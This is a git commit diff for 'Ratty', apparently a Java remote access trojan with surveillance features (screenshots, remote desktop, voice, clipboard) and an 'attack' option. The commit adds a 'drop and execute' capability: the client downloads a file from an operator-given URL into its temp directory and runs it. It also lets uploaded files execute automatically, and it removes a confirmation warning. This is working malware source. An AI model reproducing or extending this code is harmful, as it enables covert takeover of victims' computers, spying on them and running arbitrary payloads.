Browse Source

Major changes

Cleanups
Icon changes
Refactorings
Translations
master
Sogomn 9 years ago
parent
commit
f5116a5f5d
  1. BIN
      Ratty/res/gui_menu_icons.png
  2. 3
      Ratty/res/language/lang.properties
  3. 3
      Ratty/res/language/lang_de.properties
  4. 3
      Ratty/res/language/lang_en.properties
  5. 5
      Ratty/res/language/lang_es.properties
  6. 2
      Ratty/src/de/sogomn/rat/Ratty.java
  7. 24
      Ratty/src/de/sogomn/rat/packet/DownloadUrlPacket.java
  8. 22
      Ratty/src/de/sogomn/rat/packet/ExecuteFilePacket.java
  9. 31
      Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java
  10. 18
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
  11. 79
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

BIN
Ratty/res/gui_menu_icons.png

Before

Width: 64  |  Height: 48  |  Size: 816 B

After

Width: 64  |  Height: 48  |  Size: 907 B

3
Ratty/res/language/lang.properties

@ -11,8 +11,6 @@ server.cancel=Cancel
server.tcp=TCP
server.udp=UDP
server.attack_message=Which protocol?
server.upload_execute_warning=The file will be uploaded to the same directory as the client file.\r\n\
Continue?
server.url_message=Type in a URL.
builder.address_question=Which address should the client connect to?
@ -44,6 +42,7 @@ action.delete=Delete file
action.new_directory=Create new directory
action.upload_execute=Upload and execute file
action.drop_file=Drop file
action.drop_execute=Drop and execute file
column.name=Name
column.location=Location

3
Ratty/res/language/lang_de.properties

@ -11,8 +11,6 @@ server.cancel=Abbrechen
server.tcp=TCP
server.udp=UDP
server.attack_message=Welches Protokoll?
server.upload_execute_warning=Die Datei wird in denselben Ordner wie die Clientdatei hochgeladen.\r\n\
Fortfahren?
server.url_message=Gib eine URL ein.
builder.address_question=Mit welcher Adresse soll sich der Client verbinden?
@ -44,6 +42,7 @@ action.delete=Datei l
action.new_directory=Neuen Ordner erstellen
action.upload_execute=Datei hochladen und ausführen
action.drop_file=Datei aus dem Internet laden
action.drop_execute=Datei aus dem Internet ausführen
column.name=Name
column.location=Ort

3
Ratty/res/language/lang_en.properties

@ -11,8 +11,6 @@ server.cancel=Cancel
server.tcp=TCP
server.udp=UDP
server.attack_message=Which protocol?
server.upload_execute_warning=The file will be uploaded to the same directory as the client file.\r\n\
Continue?
server.url_message=Type in a URL.
builder.address_question=Which address should the client connect to?
@ -44,6 +42,7 @@ action.delete=Delete file
action.new_directory=Create new directory
action.upload_execute=Upload and execute file
action.drop_file=Drop file
action.drop_execute=Drop and execute file
column.name=Name
column.location=Location

5
Ratty/res/language/lang_es.properties

@ -13,6 +13,11 @@ builder.address_question=
builder.port_question=¿Que puerto?
builder.error=Algo a salido mal.
menu.file_management=Gestión de archivos
menu.surveillance=Vigilancia
menu.utility=Utilidades
menu.other=Otros
action.popup=Ventana emergente
action.screenshot=Captura
action.desktop=Escritorio remoto

2
Ratty/src/de/sogomn/rat/Ratty.java

@ -23,7 +23,7 @@ import de.sogomn.rat.server.gui.RattyGuiController;
public final class Ratty {
public static final boolean DEBUG = true;
public static final String VERSION = "1.15";
public static final String VERSION = "1.16";
public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang");
private static String address;

24
Ratty/src/de/sogomn/rat/packet/DownloadUrlPacket.java

@ -14,6 +14,7 @@ import de.sogomn.rat.ActiveConnection;
public final class DownloadUrlPacket implements IPacket {
private String address, directoryPath;
private byte executeType;
private static final String HTTP_PREFIX = "http://";
private static final String USER_AGENT = "User-Agent";
@ -22,8 +23,11 @@ public final class DownloadUrlPacket implements IPacket {
private static final String CONNECTION_VALUE = "close";
private static final String DEFAULT_NAME = "file";
private static final int BUFFER_SIZE = 1024;
private static final byte NO = 0;
private static final byte YES = 1;
private static final String TEMP_DIR = System.getProperty("java.io.tmpdir");
public DownloadUrlPacket(final String address, final String directoryPath) {
public DownloadUrlPacket(final String address, final String directoryPath, final boolean execute) {
this.directoryPath = directoryPath;
final boolean hasPrefix = address.startsWith(HTTP_PREFIX);
@ -33,6 +37,12 @@ public final class DownloadUrlPacket implements IPacket {
} else {
this.address = HTTP_PREFIX + address;
}
executeType = execute ? YES : NO;
}
public DownloadUrlPacket(final String address, final String directoryPath) {
this(address, directoryPath, false);
}
public DownloadUrlPacket() {
@ -51,6 +61,8 @@ public final class DownloadUrlPacket implements IPacket {
}
private DesktopFile readFile(final String address) throws IOException {
HttpURLConnection.setFollowRedirects(true);
final URL url = new URL(address);
final HttpURLConnection con = (HttpURLConnection)url.openConnection();
@ -89,12 +101,18 @@ public final class DownloadUrlPacket implements IPacket {
public void send(final ActiveConnection connection) {
connection.writeUTF(address);
connection.writeUTF(directoryPath);
connection.writeByte(executeType);
}
@Override
public void receive(final ActiveConnection connection) {
address = connection.readUTF();
directoryPath = connection.readUTF();
executeType = connection.readByte();
if (directoryPath.isEmpty()) {
directoryPath = TEMP_DIR;
}
}
@Override
@ -118,6 +136,10 @@ public final class DownloadUrlPacket implements IPacket {
final DesktopFile file = readFile(address);
file.write(directoryPath);
if (executeType == YES) {
FileUtils.executeFile(directoryPath + File.separator + file.name);
}
} catch (final NullPointerException ex) {
//...
} catch (final IOException ex) {

22
Ratty/src/de/sogomn/rat/packet/ExecuteFilePacket.java

@ -1,10 +1,6 @@
package de.sogomn.rat.packet;
import java.awt.Desktop;
import java.awt.Desktop.Action;
import java.io.File;
import java.io.IOException;
import de.sogomn.engine.util.FileUtils;
import de.sogomn.rat.ActiveConnection;
public final class ExecuteFilePacket implements IPacket {
@ -31,21 +27,7 @@ public final class ExecuteFilePacket implements IPacket {
@Override
public void execute(final ActiveConnection connection) {
final boolean desktopSupported = Desktop.isDesktopSupported();
final File file = new File(path);
if (desktopSupported && file.exists()) {
final Desktop desktop = Desktop.getDesktop();
final boolean canOpen = desktop.isSupported(Action.OPEN);
if (canOpen) {
try {
desktop.open(file);
} catch (final IOException ex) {
ex.printStackTrace();
}
}
}
FileUtils.executeFile(path);
}
}

31
Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java

@ -10,25 +10,38 @@ public final class UploadFilePacket implements IPacket {
private byte[] data;
private String directoryPath, fileName;
private byte executeType;
private static final String USER_DIR = "user.dir";
private static final String SEPARATOR_REGEX = "[\\\\\\/]";
private static final String SEPARATOR = "/";
private static final byte NO = 0;
private static final byte YES = 1;
private static final String TEMP_DIR = System.getProperty("java.io.tmpdir");
public UploadFilePacket(final String filePath, final String directoryPath) {
public UploadFilePacket(final String filePath, final String directoryPath, final boolean execute) {
this.directoryPath = directoryPath.replaceAll(SEPARATOR_REGEX, SEPARATOR);
final File file = new File(filePath);
data = FileUtils.readExternalData(filePath);
fileName = file.getName();
executeType = execute ? YES : NO;
}
public UploadFilePacket(final File file, final String folderPath, final boolean execute) {
this(file.getAbsolutePath(), folderPath, execute);
}
public UploadFilePacket(final String filePath, final String directoryPath) {
this(filePath, directoryPath, false);
}
public UploadFilePacket(final File file, final String folderPath) {
this(file.getAbsolutePath(), folderPath);
this(file, folderPath, false);
}
public UploadFilePacket() {
data = new byte[0];
directoryPath = fileName = "";
}
@ -40,6 +53,7 @@ public final class UploadFilePacket implements IPacket {
connection.write(compressed);
connection.writeUTF(directoryPath);
connection.writeUTF(fileName);
connection.writeByte(executeType);
}
@Override
@ -52,9 +66,10 @@ public final class UploadFilePacket implements IPacket {
directoryPath = connection.readUTF();
fileName = connection.readUTF();
executeType = connection.readByte();
if (directoryPath.isEmpty()) {
directoryPath = System.getProperty(USER_DIR);
directoryPath = TEMP_DIR;
}
}
@ -76,8 +91,14 @@ public final class UploadFilePacket implements IPacket {
if (directoryPath != null) {
final String path = directoryPath + File.separator + fileName;
final File file = new File(path);
FileUtils.writeData(path, data);
FileUtils.createFile(path);
FileUtils.writeData(file, data);
if (executeType == YES) {
FileUtils.executeFile(file);
}
}
}

18
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -12,7 +12,7 @@ import java.awt.event.MouseEvent;
import java.awt.image.BufferedImage;
import java.io.File;
import java.util.Arrays;
import java.util.HashMap;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;
@ -72,10 +72,10 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
private static final String FILE_MANAGEMENT = LANGUAGE.getString("menu.file_management");
private static final String UTILITY = LANGUAGE.getString("menu.utility");
private static final String OTHER = LANGUAGE.getString("menu.other");
private static final HashMap<String, BufferedImage> FILE_MANAGEMENT_ITEM_DATA = new HashMap<String, BufferedImage>();
private static final HashMap<String, BufferedImage> SURVEILLANCE_ITEM_DATA = new HashMap<String, BufferedImage>();
private static final HashMap<String, BufferedImage> UTILITY_ITEM_DATA = new HashMap<String, BufferedImage>();
private static final HashMap<String, BufferedImage> OTHER_ITEM_DATA = new HashMap<String, BufferedImage>();
private static final LinkedHashMap<String, BufferedImage> FILE_MANAGEMENT_ITEM_DATA = new LinkedHashMap<String, BufferedImage>();
private static final LinkedHashMap<String, BufferedImage> SURVEILLANCE_ITEM_DATA = new LinkedHashMap<String, BufferedImage>();
private static final LinkedHashMap<String, BufferedImage> UTILITY_ITEM_DATA = new LinkedHashMap<String, BufferedImage>();
private static final LinkedHashMap<String, BufferedImage> OTHER_ITEM_DATA = new LinkedHashMap<String, BufferedImage>();
public static final String POPUP = LANGUAGE.getString("action.popup");
public static final String SCREENSHOT = LANGUAGE.getString("action.screenshot");
@ -90,20 +90,22 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
public static final String FREE = LANGUAGE.getString("action.free");
public static final String BUILD = LANGUAGE.getString("action.build");
public static final String ATTACK = LANGUAGE.getString("action.attack");
public static final String DROP_EXECUTE = LANGUAGE.getString("action.drop_execute");
public static final List<BufferedImage> GUI_ICONS = Arrays.asList(GUI_ICON_SMALL, GUI_ICON_MEDIUM, GUI_ICON_LARGE);
static {
FILE_MANAGEMENT_ITEM_DATA.put(FILES, MENU_ICONS[4]);
FILE_MANAGEMENT_ITEM_DATA.put(UPLOAD_EXECUTE, MENU_ICONS[9]);
SURVEILLANCE_ITEM_DATA.put(SCREENSHOT, MENU_ICONS[1]);
SURVEILLANCE_ITEM_DATA.put(DESKTOP, MENU_ICONS[2]);
SURVEILLANCE_ITEM_DATA.put(VOICE, MENU_ICONS[3]);
SURVEILLANCE_ITEM_DATA.put(CLIPBOARD, MENU_ICONS[6]);
FILE_MANAGEMENT_ITEM_DATA.put(FILES, MENU_ICONS[4]);
FILE_MANAGEMENT_ITEM_DATA.put(UPLOAD_EXECUTE, MENU_ICONS[9]);
FILE_MANAGEMENT_ITEM_DATA.put(DROP_EXECUTE, MENU_ICONS[11]);
UTILITY_ITEM_DATA.put(POPUP, MENU_ICONS[0]);
UTILITY_ITEM_DATA.put(COMMAND, MENU_ICONS[5]);
UTILITY_ITEM_DATA.put(AUDIO, MENU_ICONS[7]);
UTILITY_ITEM_DATA.put(WEBSITE, MENU_ICONS[8]);
UTILITY_ITEM_DATA.put(AUDIO, MENU_ICONS[7]);
OTHER_ITEM_DATA.put(FREE, MENU_ICONS[10]);
}

79
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -73,7 +73,6 @@ public final class RattyGuiController extends AbstractRattyController implements
private static final String BUILDER_ERROR_MESSAGE = LANGUAGE.getString("builder.error");
private static final String BUILDER_ADDRESS_QUESTION = LANGUAGE.getString("builder.address_question");
private static final String BUILDER_PORT_QUESTION = LANGUAGE.getString("builder.port_question");
private static final String UPLOAD_EXECUTE_WARNING = LANGUAGE.getString("server.upload_execute_warning");
private static final String URL_MESSAGE = LANGUAGE.getString("server.url_message");
private static final Sound PING = Sound.loadSound("/ping.wav");
@ -198,6 +197,44 @@ public final class RattyGuiController extends AbstractRattyController implements
return null;
}
private DownloadUrlPacket createDownloadUrlPacket(final ServerClient client) {
final String address = gui.getInput(URL_MESSAGE);
if (address != null) {
final FileTreeNode node = client.fileTree.getLastNodeClicked();
final String path = node.getPath();
final DownloadUrlPacket packet = new DownloadUrlPacket(address, path);
return packet;
}
return null;
}
private UploadFilePacket createUploadExecutePacket(final ServerClient client) {
final File file = gui.getFile();
if (file != null) {
final UploadFilePacket packet = new UploadFilePacket(file, "", true);
return packet;
}
return null;
}
private DownloadUrlPacket createDropExecutePacket(final ServerClient client) {
final String address = gui.getInput(URL_MESSAGE);
if (address != null) {
final DownloadUrlPacket packet = new DownloadUrlPacket(address, "", true);
return packet;
}
return null;
}
private void toggleDesktopStream(final ServerClient client) {
final boolean streamingDesktop = client.isStreamingDesktop();
@ -269,40 +306,6 @@ public final class RattyGuiController extends AbstractRattyController implements
}
}
private void uploadExecute(final ServerClient client) {
final boolean accepted = gui.showWarning(UPLOAD_EXECUTE_WARNING, OPTION_YES, OPTION_CANCEL);
if (!accepted) {
return;
}
final File file = gui.getFile();
if (file == null) {
return;
}
final UploadFilePacket upload = new UploadFilePacket(file, "");
final ExecuteFilePacket execute = new ExecuteFilePacket(file.getName());
client.connection.addPacket(upload);
client.connection.addPacket(execute);
}
private DownloadUrlPacket createDownloadUrlPacket(final ServerClient client) {
final String address = gui.getInput(URL_MESSAGE);
if (address != null) {
final FileTreeNode node = client.fileTree.getLastNodeClicked();
final String path = node.getPath();
final DownloadUrlPacket packet = new DownloadUrlPacket(address, path);
return packet;
}
return null;
}
private void handleCommand(final ServerClient client, final String command) {
if (command == RattyGui.FILES) {
client.fileTree.setVisible(true);
@ -318,8 +321,6 @@ public final class RattyGuiController extends AbstractRattyController implements
startBuilder();
} else if (command == FileTree.REQUEST) {
requestFile(client);
} else if (command == RattyGui.UPLOAD_EXECUTE) {
uploadExecute(client);
}
}
@ -354,6 +355,10 @@ public final class RattyGuiController extends AbstractRattyController implements
packet = createFolderPacket(client);
} else if (command == FileTree.DROP_FILE) {
packet = createDownloadUrlPacket(client);
} else if (command == RattyGui.UPLOAD_EXECUTE) {
packet = createUploadExecutePacket(client);
} else if (command == RattyGui.DROP_EXECUTE) {
packet = createDropExecutePacket(client);
} else if (command == DisplayPanel.MOUSE_EVENT && client.isStreamingDesktop()) {
packet = client.displayPanel.getLastMouseEventPacket();
} else if (command == DisplayPanel.KEY_EVENT && client.isStreamingDesktop()) {

Loading…
Cancel
Save